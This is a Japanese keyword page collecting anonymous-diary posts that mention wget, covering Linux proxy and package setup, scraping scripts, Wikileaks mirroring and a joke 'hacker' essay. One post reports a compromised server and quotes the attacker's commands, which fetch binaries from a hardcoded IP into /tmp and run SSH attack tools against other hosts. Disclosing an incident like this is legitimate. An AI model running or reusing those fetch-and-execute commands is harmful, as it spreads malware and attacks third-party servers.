「wget」を含む日記 RSS

はてなキーワード: wgetとは

2018-09-10

anond:20180910110820

コンソールって言うのは普通デスクトップを指して言っていたんだが、

コンソール=SSH越しで考えるなら

wgetでもw3mでもまあプロキシを通過できるのでいいとして、

職場デスクトップ普通増田アクセスしたらアクセスログ残るやろ。

socksプロキシは流石に怪しいことしてる人間としてマークされてまうやろ。

どうして我々がw3mを使うのかの理由位は察しろや。

2018-09-04

anond:20180904004015

自分でも何を言っているのかわかってない 、そもそもGNU以前にフリーソフトウェアオープンソースの違いを理解していなそうって感想
なお、GNUの中心人物ストールマンについてはは wiki 読むだけでおおよそお分かりいただけると思う

MITに在籍しているが無給である。定住のための住居を持っていない。彼は、この生活について「私はいつも安上がりな生活をしてきた……つまり学生みたいにね。私はそういう生活が好きなんだ。そういう生活なら、カネの言いなりになる必要がないからね」

追跡を受けることで重大なプライバシー侵害が生じうるという理由携帯電話を持たないことを推奨

入室の時間と回数の追跡が可能になるという理由で、オフィスのある建物カードキーを使うことを避けている

WEBブラウザは非推奨

個人的理由からGNUFSF自分のページかそれに関連するページ以外は自分コンピューターから直接ブラウズすることはないと述べている。

その代わりとして、wgetを動かしているサーバーメールを送り、見たいページをメールで送らせる

Why Open Source misses the point of Free Software
https://www.gnu.org/philosophy/open-source-misses-the-point.ja.html

2018-08-15

anond:20180815200816

webarchiveだっけ、日本国外なはずだから彼にフェッチさせれば見えるかもよ。

まりWEB魚拓なので、証拠も半永久的に残せるね。

海外レンタルサーバーphpに読ませたり、awsazureの各地のリージョンからwgetさせるのもありかな。VPN通す必要もないし、すごく簡単になったな。

2018-06-13

anond:20180612130024

wgetFFmpegも使える中学生って、いったい、、、

というか、そういう女の子と付き合ってみたかった。

2018-06-12

anond:20180612125650

GUI普通に使えて、Ctrl+Alt+Tでターミナル起動してtouchやmkdirやcpmvを知っていてVim設定ファイル簡単な書き換えができる程度

たぶんwgetImageMagickFFmpegあたりも使えるはず

娘はやらん

2018-05-24

anond:20180524120121

まあ、特殊ケースはあるにしても

大凡そこらへんのHTTPクライアントツールでも解決が難しかったりそもそも不可能だったりするパターンもあるので、総合的に見て(勿論用途次第ではあるが)

wgetなどで完結させた方が工数は少なくなる傾向にはあるぞ

2016-05-14

for /l %a in (1,1,10) do wget --header "Cookie: over18=yes" "http://novel18.syosetu.com/*******/%a" -O %a &ping -n 30 127.1

2015-09-09

Linux Mint の各種プロキシ設定 (Ubuntuも同じ?)

以前も書いたかもしれないが..間違っていたらご指摘よろしく願います

システム共通(というかユーザーごと?)

Menu から「設定」の「ネットワークプロキシ」を開く。

もしくはこちらの方のページ http://forums.linuxmint-jp.net/viewtopic.php?f=6&t=859

「端末」からコマンドでいけるかも。

gsettings org.gnome.system.proxy.https host 'http://....'

gsettings org.gnome.system.proxy.https port 8080

gsettings org.gnome.system.proxy.http host 'http://....'

gsettings org.gnome.system.proxy.http port 8080

gsettings org.gnome.system.proxy.ftp host 'http://....'

gsettings org.gnome.system.proxy.ftp port 8080

apt-get

/etc/apt/apt.conf (ソフトウエアマネージャなんかも利用している)

こちらの方のページ(若干間違い) http://d.hatena.ne.jp/mrgoofy33/20100726/1280154695

プロトコル関係なく Acquire::(proto)::proxy "http://...:8080" 。

wget

/etc/wgetrc

こちらの方のページ http://www.geocities.jp/gronlijus/skill/linux/linux-wget-proxy.html

または http://qiita.com/HirofumiYashima/items/1015874766bd4afb5e2d

アドレスを見分けての自動除外指定はできるのかな...

2015-02-21

ハッキング極意3】ブラックハッカーになれ。そして世界を変えろ

アノニマスの坊や達、こんばんは

僕だよ。

前回の記事

【ハッキング極意2】武器を持て

ハッカーになりたい君たちの要望に応えるべく再び黄泉の国から舞い戻ってきたよ。

ハッカー…素晴らしい響きだ。

皆それになりたいと思う。

ハッカーになりたいという若い子は恐らくクラッカーみたいなのになりたがっているだろう。

そう裏の世界活躍するブラックハッカーだ。

中高生くらいならばなりたいと思っても、どうなるのか誰も教えてくれない。

親切な人たちが教えてくれるYahoo知恵袋などで『ハッカーになりたいです』とか書くとどうだ?

貴方のいっているのはクラッカーですね?ハッカーとは別物ですよ」

違法なことはいけません。通報しました。」

など、どうでもいい説教をされてしまう。

清く正しい中学生がなんだか気を利かせて、「ホワイトハッカーになりたいです」とか「ハッカーになりたいです違法行為しません」

などなど、変に気を使っている。

若いんだから夢見させろや。

ブラックハッカーになろう!!

そうだ!なろう!!裏の世界人間になろう!!そして世界を変えるんだ!!

ハッカーの種類。

ハッカーと言っても色々居るわけだ。

撮り鉄とか葬式鉄とか、ウィルスをばらまくハッカーとか、脆弱性を見つけて小銭稼ぐハッカーとか、OS作るハッカーとか、セキュリティポリシー精読して炎上させるハッカーとかね。

おっと…ウィルスかい専門用語つかってしまったね。

一般人には聞き慣れない言葉だろう。

ウィルスというのは細胞を持たないが遺伝子をもつ最小の生物なのだが、細胞を持たないため非生物とも言われている構造体だ。非生物らしく結晶化もできる。

宿主となる細胞に増殖をしていく。

そのウィルスコンピュータ世界に入り込み進化したものコンピュータウィルスと言われていて、生命の謎を握る存在なのだ

こう言われてもピンとこないだろうから、君たちにわかやすいモノで表現するとすると

まり電光超人グリッドマン』に出てくる怪獣のようなものだと思ってくれればいい。

ブラックハッカー

ハッカーと言われている人たちは大体ブラックハッカーだ。

ブラック、そう闇と言われるハッカーたちは自分自分所属する集団のために違法行為を厭わない連中だ。

ダースベーダーのようなアンチヒーローだ!

プログラマスキルによってその仕事スピード20倍にも40倍にも開きが出ると言われている。

その特A級ハッカーウィザードと言われるが、そのとおり魔導士のような不思議な力を使う。

ブラックハッカー魔法

ブラックハッカー特に魔法が得意と言われている。

工数が3人月だとしよう。3人ハッカーがいる。

しかし謎の力の仕様変更により納期は変わらず工数が9人月になった。

にもかかわらずだ納期は間に合い、しかも!稼働時間も3人月しか計上されていない。

これは何処かのタイミングで時を止めていると言われている。

たまに勤務管理システム上は有休になっているが、入館ログには出勤の形跡があることがある。

これは休み仕事の状態が重なり合っている量子力学的な状態を不思議な力で作り出しているのだ。

量子コンピュータは0の状態と1の状態が一つのビットで同時に表現できると言われているが、ブラックハッカーはすでに人間の身でありながら実現しているのだ。

事実量子コンピュータブラックハッカーの脳を再現する形で実現しようとしている。

量子コンピュータを作っている企業下請けに大量のブラックハッカーが居るのもそういうわけだ。

ウィルスをばらまくハッカーもいると言ったがブラックハッカーもその能力を持っている。

例えばインフルエンザエボラ出血熱などを持って出勤するのも彼ら得意技の一つだ。

また、違法行為も厭わない。

どんな違法行為をやっているかは良い子の皆が真似をしてしまっては困るのでとてもここでは言えないがね…

ブラックハッカーたちの活躍

ブラックハッカーたちは暗黒の存在とは言え我々の社会には無くてはならないものになってしまっている。

闇が深い金融業界や、日本国政府もこのブラックハッカーに頼らざるえなくなっているのだ。

おそらくマイナンバーではブラックハッカーのそうそうたる面々が集うことになるだろう。

ブラックハッカーになるには

どうだろう。

ブラックハッカーになりたくなったか

なる方法は簡単だ。

僕はブラックハッカーだと宣言し、入社をすればすぐになれる。

読者から質問コーナー

さて、今日は前回のコメントに付いていた

「神はXをつかうのか?」という質問について答えようと思う。

良い質問だ。

これは教義に関わるかなりナイーブ問題なんだ。

でも、いつだったか1000年位前の公会議で神はXを使うという事になったんだよ。

なぜXを使うことになったのか

裏の人間は黒い画面を好み、黒い画面でいろいろやろうと思っていた。

だが、次第に艦これもやりたくなってきた。

そのうち艦これやりたさに信仰を捨てWindowsに走るものや、過激派組織APPLEに見を投じる者も出てきた。

しか信仰心の篤い者達は我慢したBashでなんとかやろうと我慢した。

VimTwitterをやったり、Wgetテキストサイトを見たりしていた。

だが、XVIDEOSの誘惑には勝てなかったのだ。

その当時のハッカーたちはLinuxでもXVIDEOSを見るシステムを開発しようとした。

それが『XVIDEOS Window System』つまりXだ。

Xは黒い画面とXVIDEOSの間から妥協として生まれたが、そのうちそれでも良いかという空気になりXは流行った。

Xを使うものは我慢していた艦これもやり始めたのだが、

なんとDMMに登録するとAV動画も見れるサービスがあることをしることになった。

Linuxでは艦これは出来てもDMM動画を見ることは出来ない。

悪しきWMVで公開されてDRMがかかっているし、ストリーミングも何故か映らないのだ!!

XVIDEOSの細切れで続きが何処にあるかわからないAVよりも、有料だけども安心して見れるDMMのほうが良いというものが増え

Windowsに逃げてしまう者が増えてしまった。

そうやってLinux信者数を減らしてしまい今では生きる場所裏社会のみになってしまったのさ。

そういう経緯があるので、神はXを使っていることになっている。

新作

http://anond.hatelabo.jp/20150224002209

2014-12-22

advent calendarに、他人記事をコピぺする行為について。(追記あり)

すこし前、go advent calendarの遅延投稿について話題になりましたね。

go advent calendar↓

http://qiita.com/advent-calendar/2014/go

私自身、AC自体責任を持って記事を書けとまでは求めていません。楽しく記事を書くのが一番ですから書けなかったり、遅れてしまっても仕方がないと思います

ただ、遅延投稿した彼がとった行動が到底理解し難いものでした。

彼の記事-gobrewでバージョン管理(追記あり)

http://qiita.com/7yan00/items/916d5804f0397f9af272

qiita記事を読む限り、自分で書いたとの内容がありますね。

gobrew - 複数バージョンGoも簡単に管理、切り替え

http://www.moongift.jp/2014/05/gobrew-%E8%A4%87%E6%95%B0%E3%83%90%E3%83%BC%E3%82%B8%E3%83%A7%E3%83%B3%E3%81%AEgo%E3%82%82%E7%B0%A1%E5%8D%98%E3%81%AB%E7%AE%A1%E7%90%86%E3%80%81%E5%88%87%E3%82%8A%E6%9B%BF%E3%81%88/

見た瞬間アレ?と首を傾げてしまいました。

curlwget どちらかでいいのに2回とも同じことをしています

2度installしているのですから

自然過ぎます

記事ではどちらか一方でときちんと記されていますね。

彼は高校生らしいですが、既にある記事コピペ(元記事の方がまし)したような記事qiita投稿するのは、高校生でも良くないということがわかると思います。おそらくACを書いていないことで煽ったユーザー炎上してしまったので、急いで記事を書こうとしたが書けなかったのでしょう。

コピペが一部だから問題ないのでは?という意見もありますが、記事の内容と量を確認してほしいと思います

最後にadvent calendarを必ず書かなくてはいけないなどの責任は無いと私は思いますしか記事を書けなかったかコピペというのはすこしおかしいのではないでしょうか?論文コピペして理研に入った人も今話題です、彼の行動力は認めるけれど、将来が心配になりました。

マナーを守れば楽しいACになると私は思います

追記

彼がこの記事確認したのかqiita記事に追記されています

goを書いている他のひとに迷惑がかからないようにと願っています

2014-04-01

http://anond.hatelabo.jp/20140331142937

wget派がいるとはおもわんだ。俺はw3mなので人のこと言えませんが

最近まとめが出てるからホッテントリはこっち見ること多し

http://otatin.com/masuda/

http://anond-ranking.info/

2013-10-03

Linux Mint 15 日本語化

こちらに丁寧に記載されていて、感謝の限りです。

注意は

$ wget -q http://linuxmint-jp.net/linuxmint-ja-archive-keyring.gpg -O- | sudo apt-key add -

$ sudo wget http://linuxmint-jp.net/sources.list.d/linuxmint-ja.list -O /etc/apt/sources.list.d/linuxmint-ja.list

$ sudo apt-get update

$ sudo apt-get dist-upgrade

の、最初の行の -0- は、英大文字のオーかゼロ。 2行目は 英大文字のオー。

最初-O-をオーでやったら「PGPファイルがみつかりません」とエラーになった。ここを数字ゼロにしたらあっさり"OK"と表示。このエントリに「ゼロです」を書いたものの、上記公式ページをみるとどうもゼロには見えない。念のためにもう1回ゼロでやってみたら「無効オプションだってさ(なので投稿内容を直した)。じゃあ「オー」が正しいのかよ?けど、おい数字ゼロでうまくいったんだぜ。最近、いろいろPC馬鹿にされてるわ。VirtualBoxインストールしていたので手打ちで実行させたから、コピペ可能環境ならいちいちこんなことで問題にならなかったのかな?まさかコピペのオーはOKで、手打ちのオーはNG

あと、プロキシ環境下でのインストールでは

su

スーパーユーザーになってから

export http_proxy="http://プロキシサーバ>:<ポート>"

として wgetプロキシサーバを教えます

さら

/etc/apt/ のなかに apt.conf というファイル作成して

Acquire::http::proxy "http://プロキシサーバ>:<ポート>";

最後セミコロン)の1行を書き込みますapt-get へ教えます

あとは sudo 部分のみ不要で、同じようにコマンドを流してやりましょう。

Linux Mint 15 (XFCE版) で wgetプロキシサーバを指定する

他の Linux 同様に、環境変数を読むようですね。

export http_proxy="http://プロキシサーバ名>:<ポート>"

export https_proxy="http://プロキシサーバ名>:<ポート>"

などと指定すればOKのようです。

sudo wget のように、スーパーユーザーで利用するときは、当然スーパーユーザー環境で動作するので、私は

su

スーパーユーザー根本的にシェルユーザーを切り替えて、sudo 切り替えなしで wget を利用しました。

すなわち suスーパーユーザーになってから export http_proxy=... を発行。sudo wget ... ではなくそのまま wget ...。

sudo export

は "command not found"。"export" は DOS の内部コマンドみたいなものなのでしょう。

以上のことは、インストール最初日本語化設定のときに使いました。

2011-07-29

クラッキングされたサーバで実行されていた怪しいコマンド晒す

うちの大したことに使ってもいないのに常時稼動で外部公開なサーバクラックされて以下のコマンドが実行されていた。

sh -c cd /tmp;wget ttp://195.69.220.2/dd_ssh;chmod 755 dd_ssh;./dd_ssh 50 217.79.190.53 2 >/dev/null 2>/dev/null
sh -c cd /tmp;wget ttp://195.69.220.2/slowdssh;chmod 755 slowdssh;./slowdssh  >/dev/null 2>/dev/null
sh -c cd /tmp;killall -9 ssh2;wget ttp://195.69.220.2/ssh3;chmod 755 ssh3;./ssh3 200 72.20.14.174 >/dev/null 2>/dev/null

((正式なリンクだと502エラーが出て書き込めないのでhを抜いてあります。))

このコマンドを実行するとドイツサーバからプログラムダウンロードして実行するみたい。

ちなみに、いろんなサーバssh接続を試みるプログラムっぽい。

このプログラムたちは2007年11月頃にビルドしたApache/2.0.61にぶら下がって動いていた。

ログは綺麗さっぱりなくなっていて、2011年7月24日以降の情報しか残っていなかった。

どうやって侵入して実行したのか分からなかったけど、古いApacheと一緒に動いていたのでApache更新しなかった自分が悪いと思っている。

「dd_ssh」や「ssh3」の引数を書き換えて実行してみたいけど、それって犯罪じゃないかと思うと怖くてできない。

誰か詳しく調べてちょ。

2011-07-25

poptop pptpd (PPTPサーバ) on CentOS5

1.POPTOPから最新版ダウンロード

wget http://sourceforge.net/projects/poptop/files/pptpd/pptpd-1.3.4/pptpd-1.3.4.tar.gz/download

2.tgzを解凍

tar xvzf ./pptpd-1.3.4.tar.gz

3. ./configure 実行

4. make 実行

5. make install 実行

コンパイルするので、ccgccが必要。

しかし、設定ファイルうんぬんを考えたら先でもハマりそうな予感がしたので

結局yumインストールした。

CentOSyumがうまくできない時 - デフォルトGW設定

http://blog.mizoshiri.com/archives/93

(Cloud 9 さん ブログ)

社内サーバからはOKなのに

社外のサーバyumばかりかwgetpingもことごとくだめって、

FWの設定間違えたかな...などと考えをめぐらせつつググってみたら、こちらに解決手順が。


Windowsだと、デフォルトゲートウエイNICTCP/IP設定画面に含まれているけど

それって考えてみたら、デフォルトゲートウェイコンピュータ(ホスト)固有だからおかしいよね。

/etc/sysconfig/network-scripts/cfg-eth0

の項目をいじっても社外につながらなかった(/etc/sysconfig/networkGW設定も必要)

ことへのグチですけど。。

(デフォルトGWの設定画面含めて、route tableに統一して編集する方式も、OS設計的にアリだよな)。

2010-12-06

Wikileakswget -m でページ丸ごとダウンロードする方法

というか表題のコマンドを実行するだけであまり説明することもないが。

wikileaks.org でアクセス出来なくなったのもあり、いつサイト自体が無くなってもおかしくない(まぁ当初からずっとそうだけど)ので興味ある命知らずは丸ごとダウンロードしておくことをおすすめする。


WikileaksPaypal停止と「言論の自由」問題 | WIRED VISION
http://wiredvision.jp/news/201012/2010120523.html

(追記 2010-12-06)今日 wget してみたところ、1,708 ファイルで 67.0MB だった。大体 1 時間位でダウンロード完了できた。


wget の準備

Windowswget ないぜって人はこの辺から落としてこい。


wgetWindows版) - 俺の基地
http://yakinikunotare.boo.jp/orebase/index.php?wget%A1%CAWindows%C8%C7%A1%CB

Mac OS XmacportsLinuxapt-get やら yum やら使って適当インストールしてください。


wikileaks へのリンク

http://wikileaks.org (上述の記事の通り、DNS の登録から外されたらしい)

http://213.251.145.96/(多分本家

http://wikileaks.ch/(ミラーコピーサイト?)


コマンド

mkdir wikileaks

cd ./wikileaks

wget -m http://213.251.145.96/

※ "213.251.145.96" は wikileaks.org の登録元 IP。(だと思う)

あと、wikileaksミラーサイトになってくれるところを募集しているらしいので、更に命知らず(リアル命とセキュリティアタック的な意味で)な人はこの手順に従ってミラーサイトが公開できますよ。ちょいと wikileaks なんとかっていうドメインサーバスペースを契約してミラー作ってあげたらいいんじゃないですかね。


Bash | #### tutorial about how to set up a wikileaks mirr - Wikileaks mirroring tutorial(英語
http://pastebin.com/6q6E3Z0C

ちゃんと匿名ダイアリーで書いてるし(wikileaks.hatena.ne.jp まだかな!)、はてなの人も言論の自由を脅かすなんてことは、おっと誰か来たようだ

2010-09-02

岡崎市立中央図書館には結局クロールして良いの?

今後は岡崎市立中央図書館ウェブサイトクローラアクセスしてよいの?

wgetしちゃっていいの?

波乗野郎しちゃっていいの?

岡崎市立中央図書館はLibrahack氏に謝れよ。本当に。

平成十七年(2005)の設計だから想定していなかったって阿呆ですか。

波乗野郎の発売は1996年だ。wgetもその頃からある。この時点で庶民にクローラ需要があったんだぞ。

俺だって十年前から自動巡回も一括取得も当たり前にやってた。

品質製品を発注してしまった責任を取りたくないから認められないのか?

三菱から見返りでももらっていたのか?

合法だけど迷惑行為だったとでも言いたいようだが、迷惑を受けたのは逮捕された側だっての。

今まで落ちなかったのは、たまたまそうやって利用されていなかっただけだろ。

利用者の方におかれましては、情報収集のために使われる手段が、他の利用者に迷惑をかけていないかどうかについて、ご配慮をお願いいたします。

同時1コネクション限度でアクセス毎に1秒ウェイトは十分すぎるほど配慮してるじゃないか。

何百メガバイトものファイルを大量に落としたわけでもない。

頻度も大域も1万円の中古パソコンでもさばける程度のアクセスしかしてないじゃないか。

この図書館は最悪だな。こんなだから逮捕者まで出してしまったんだ。

三菱も悪いが図書館の態度も大きな原因だろう。無知でしたとか言う次元じゃない。

こんな図書館だから、こんな商品発注して、この有様なんだとしか言いようがない。

2009-03-10

http://anond.hatelabo.jp/20090310161507

#!/bin/bash

for h in {0..23}; do
  for m in {0..59}; do
    name=$(printf "http://www.bijint.com/jp/img/photo/%02d%02d.jpg" $h $m)
    for i in {1..10}; do
      if `wget $name`; then
        break
      fi
    done
  done
done

2008-11-22

http://anond.hatelabo.jp/20081122024106

man wget すればわかるけど、-l で階層指定して、-A で拡張子指定出来るから、

そんなにperlとか登場させる必要ないぞ?

2008-10-18

real street angels から mechanize を使って動画を取ってきてEmacsで見てみるよ

せっかく書いたから匿名でのせてみるよ

使い方は

  • 動画を取ってきたいよ
    • config.yamlユーザとかを設定するよ
    • ids.txt に取ってきたいIDを書くよ
    • sangels.bat を実行するよ
  • Emacs動画を見たいよ
    • sangels.el を load するよ
    • M-x sangels だよ

必要なものを gem で取ってくるにはこうすればいいよ

  • gem install -r log4r
  • gem install -r -v 0.6 hpricot
  • gem install -r mechanize

長すぎてelispが消えたから続きがあるよ

sangels.bat - 起動用バッチファイル

@echo off
setlocal
set WD=%~dp0
cd /d %WD%

ruby get_movies.rb
ruby get_images.rb
ruby create_m3u.rb

ruby

config.yaml - 設定ファイル
user: ユーザID
password: パスワード
ids_file: ids.txt
done_file: ids_done.txt
movies_dir: movies

log4r_config:
  pre_config:
    global: INFO
  loggers:
    - name: app
      type: Log4r::Logger
      level: INFO
      outputters:
        - STDOUT
        - FILE
  outputters:
    - name: STDOUT
      type: Log4r::StdoutOutputter
      formatter:
        type: Log4r::PatternFormatter
        pattern: "%d [%l] %C - %M"
        date_pattern: "%H:%M:%S"
    - name: FILE
      type: Log4r::FileOutputter 
      filename: "#{LOGDIR}/sangels.log"
      formatter:
        type: Log4r::PatternFormatter
        pattern: "%d [%l] %C - %M"
        date_pattern: "%Y-%m-%d %H:%M:%S"
get_movies.rb
require 'fileutils'
require 'logger'
require 'mechanize'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"
require "#{BASEDIR}/sangels"

$config = load_config(BASEDIR)
prepare_logger(BASEDIR)
$log = new_logger("get_movies")
WWW::Mechanize.log = new_logger("mechanize")
WGet.log = $log

class IDFile
  def initialize(file)
    @file = file
    unless File.exist?(@file)
      Fileutils.touch(@file)
    end
  end

  def ids(contains_comment = nil)
    File.open(@file) {|io|
      io.to_a.map {|x|
        x.chomp
      }.select {|x|
        if x.empty?
          nil
        elsif contains_comment
          true
        else
          not /^\s*\#/ =~ x
        end
      }
    }
  end

  def add(id)
    ids = ids(true)
    unless ids.any? {|x| x == id}
      write(ids + [id])
    end
  end

  def delete(id)
    ids = ids(true)
    if ids.any? {|x| x == id}
      write(ids - [id])
    end
  end

  def write(ids)
    File.open(@file, "w") {|io|
      ids.each {|x| io.puts x}
    }
  end
end


$log.info("BEGIN #{$0} ================")
exit_code = 0
begin
  ids_file = IDFile.new($config.ids_file)
  done_file = IDFile.new($config.done_file)
  movies_dir = $config.movies_dir
  wget = WGet.new

  sangels = SAngels.new
  sangels.login($config.user, $config.password)
  ids_file.ids.each {|id|
    begin
      movies = sangels.movies(id)
    rescue SAngels::Movies::InvalidMoviesError
      $log.warn("invalid movie id: #{id}")
      next
    end
    dir = File.expand_path(id, movies_dir)
    movies.each {|link|
      wget.retrieve(link.href, dir)
    }
    expected = movies.movie_links.map{|x| File.basename(x.href)}
    actual = Dir.glob("#{dir}/*").map {|x| File.basename(x)}
    if (expected - actual).empty?
      done_file.add(id)
      ids_file.delete(id)
    end
  }
rescue => e
  $log.error(e)
  exit_code = 1
end

$log.info("END #{$0} (#{exit_code}) ================")
exit exit_code
get_images.rb
require 'fileutils'
require 'logger'
require 'mechanize'
require 'ostruct'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"
require "#{BASEDIR}/sangels"

$config = load_config(BASEDIR)
prepare_logger(BASEDIR)
$log = new_logger("get_images")
WWW::Mechanize.log = new_logger("mechanize")
WGet.log = $log

$log.info("BEGIN #{$0} ================")
exit_code = 0
begin
  movies_dir = $config.movies_dir
  sangels = SAngels.new
  sangels.login($config.user, $config.password)
  thumbnails = sangels.thumbnails

  Dir.glob("#{movies_dir}/*").each {|dir|
    next unless File.directory? dir
    id = File.basename(dir)

    url = thumbnails.url(id)
    unless url
      $log.warn("#{id} is not found")
      next
    end
    path = File.expand_path("00_thumbnail#{File.extname(url)}", dir)
    next if File.exist? path

    $log.info("retrieving #{url}")
    thumbnail = thumbnails.get_file(id)
    File.open(path, "wb") {|io| io.write(thumbnail)}
  }
rescue => e
  $log.error(e)
  exit_code = 1
end

$log.info("END #{$0} (#{exit_code}) ================")
exit exit_code
create_m3u.rb
BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"

$config = load_config(BASEDIR)
movies_dir = $config.movies_dir
Dir.glob("#{movies_dir}/*") {|dir|
  next unless File.directory? dir
  name = File.basename(dir)
  files = Dir.glob("#{dir}/*.wmv").sort

  File.open("#{movies_dir}/#{name}.m3u", "w") {|io|
    files.each {|file|
      io.puts "#{name}/#{File.basename(file)}"
    }
  }

  File.open("#{dir}/00_movies.m3u", "w") {|io|
    files.each {|file|
      io.puts "#{File.basename(file)}"
    }
  }
}
sangels.rb
require 'mechanize'
require 'hpricot'

BASEDIR = File.dirname($0)
require "#{BASEDIR}/util"

class SAngels
  HOST = "real2.s-angels.com"
  LOGIN_URL = "http://#{HOST}/member/"
  INFO_URL = "http://#{HOST}/teigaku/item.php"
  THUMBNAILS_URL = "http://#{HOST}/teigaku/"
  THUMBNAIL_URL = "http://#{HOST}/images/default/thumb/"

  def initialize()
    @agent = WWW::Mechanize.new
  end

  def login(user, password)
    login_form = @agent.get(LOGIN_URL).forms.find {|form|
      form.fields.any? {|field| field.name == "frmLoginid"}
    }
    login_form.frmLoginid = user
    login_form.frmPw = password
    @agent.submit(login_form)
  end

  def movies(id, no_validate = nil)
    Movies.new(@agent, id, !no_validate)
  end

  def thumbnails
    Thumbnails.new(@agent)
  end

  class Thumbnails
    def initialize(agent)
      @agent = agent
      doc = Hpricot(@agent.get_file(THUMBNAILS_URL))
      elems = doc.search("div[@class=realthum]/a")
      @links = Hash(
        elems.map {|elem|
          href = elem["href"]
          id = $1 if /ID=(.+)/ =~ href
          url = elem.search("img")[0]["src"]
          [id, url]
        })
    end

    def get_file(id)
      @agent.get_file(url(id))
    end

    def url(id)
      @links[id]
    end

    def exist?(id)
      url(id)
    end
  end

  class Movies
    class InvalidMoviesError < StandardError
    end

    def initialize(agent, id, no_validate)
      @agent = agent
      @id = id
      if !no_validate &amp;&amp; !valid?
        raise InvalidMoviesError
      end
    end

    def info_page_url
      "#{INFO_URL}?ID=#{@id}"
    end

    def info_page
      @agent.get(info_page_url)
    end

    def movies_page
      @agent.click(info_page.links.find {|link| /P=10/ =~ link.href})
    end

    def movie_links
      movies_page.links.select {|link|
        /wmv$/ =~ link.href
      }.sort {|a, b|
        File.basename(a.href) <=> File.basename(b.href)
      }
    end

    def valid?
      info_page.uri.to_s == info_page_url
    end

    def each(&amp;block)
      orig_links = movie_links
      orig_links.each {|orig_link|
        link = movie_links.find {|l| File.basename(l.href) == File.basename(orig_link.href)}
        block.call(link)
      }
    end
  end
end
util.rb
require 'log4r'
require 'log4r/yamlconfigurator'
require 'singleton'
require 'fileutils'
require 'ostruct'

def Hash(a)
  Hash[*a.flatten]
end

def load_config(basedir)
  OpenStruct.new(File.open("#{basedir}/config.yaml") {|io| YAML.load(io)})
end

def new_logger(name)
  Log4r::Logger.new("app::#{name}")
end

def prepare_logger(basedir, logdir = nil)
  logdir ||= basedir
  Log4r::YamlConfigurator["LOGDIR"] = logdir
  Log4r::YamlConfigurator.load_yaml_file("#{basedir}/config.yaml")
end

class NullObject
  include Singleton
  def method_missing(message, *arg)
    NullObject.singleton
  end
end

class WGet
  class << self
    attr_accessor :log
    def initialize
      super
      @log = NullObject.singleton
    end
  end
  
  def log
    self.class.log
  end

  def retrieve(url, dir)
    FileUtils.mkdir_p(dir)
    file = File.expand_path(File.basename(url), dir)
    if File.exist?(file)
      log.info("already retrieved #{url}")
      return true
    end

    tmp = "#{file}.part"
    log.info("retrieving #{url}")
    ret = system("wget", "-c", "-O", tmp, url)
    if ret
      log.info("retrieving succeeded #{url}")
      File.rename(tmp, file)
    else
      if $? == 0x020000 # Ctrl-C
        exit($?)
      else
        log.error("retrieving failure #{url} (#{$?})")
      end
    end
    return ret
  end
end

2008-09-25

[]

http://www.ubuntulinux.jp/products/JA-Localized http://www.ubuntulinux.jp/

http://jody.sci.hokudai.ac.jp/~ike/colum/ubuntu_feisty_amd64.html

wget -q http://www.ubuntulinux.jp/ubuntu-ja-archive-keyring.gpg -O- | sudo apt-key add -

sudo wget http://www.ubuntulinux.jp/sources.list.d/hardy.list -O /etc/apt/sources.list.d/ubuntu-ja.list

sudo apt-get update

sudo apt-get install ubuntu-desktop-ja

sudo apt-get install ubuntu-ja-keyring

sudo apt-get upgrade

sudo apt-get install language-pack-gnome-ja language-pack-ja

sudo apt-get install ipafont ipamonafont lha-sjis

sudo apt-get install scim-anthy

sudo apt-get install scim-bridge im-switch

sudo apt-get install openoffice.org-l10n-ja openoffice.org-help-ja mozilla-firefox-locale-ja-jp

im-switch -l

2008-08-01

http://anond.hatelabo.jp/20080801154904

なんか呼ばれた気がしなくもない。

ここ1年程の、ほぼすべてのエントリナンバは提供できると思う。

ただ、削除されたエントリもそれなりに入ってるけど、入ってないものも多い。そんなデータ

たぶん10万件×14桁で1.5Mほどかな。圧縮すれば2割くらいになってくれるだろうか。

いる人いる?

しかし、日単位なら365リクエストでいけるから、とってきた方が早いかも。

shならwgetsedperlならWeb::Scrapergmならgm_xhrか。

rubypythonは知らない。

xpathgraphという手もあるな。総計値になるけど。差分や統計が取れたらもっと面白いのに。

はてなグラフインポートできないかな。

2008-04-22

手順

とりあえず更新

まず、stable の最新版にアップデート

# apt-get update
# apt-get dist-upgrade

apt-line 変更

そしたら /etc/apt/source.list を編集

deb http://www.example.org/pub/ stable main contrib non-free
deb-src http://www.example.org/pub/ stable main contrib non-free
…

の stable を unstable に変更すれば OK。

sid

そしたらもう一回更新すれば OK。

# apt-get update
# apt-get dist-upgrade

いろいろインストール

おれのこのみだけど。

# apt-get install aptitude gnupg locales openssh-server screen subversion subversion-tools wget zsh

UTF-8

下のコマンドをたたいてしつもんにこたえて、UTF-8 にする。

# dpkg-reconfigure locales

最後に

念のため、aptitude更新しとく。

# aptitude update
# aptitude dist-upgrade
ログイン ユーザー登録
ようこそ ゲスト さん